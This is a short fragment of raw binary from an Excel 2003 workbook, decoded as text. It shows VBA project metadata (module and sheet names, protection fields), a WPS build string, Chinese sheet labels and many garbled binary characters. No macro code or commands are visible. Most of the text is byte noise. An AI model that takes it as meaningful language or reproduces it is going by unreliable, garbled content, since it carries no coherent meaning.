VersionCompatible32="393222000" CMG="86PROJECTwm}PROJECT-SummaryInformation(|DocumentSummaryInformation8484A63FDA417145714571457145" DPB="2123014202420242" GC="BCBE9C45ACE1ADE1AD1E" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C ?鄥燆鵒h珣+'迟0L    ,4<DMwangxunK@4笲搣@裲@ 毻@p矖@瘴?胀諟.摋+,D胀諟.摋+,    (08@H q Sheet1Sheet2Sheet3 工作表` ?GKSOProductBuildVer2052-9.1.0.4047?  F#Microsoft Office Excel 2003 工作表Biff8Excel.Sheet.8?瞦CompObjo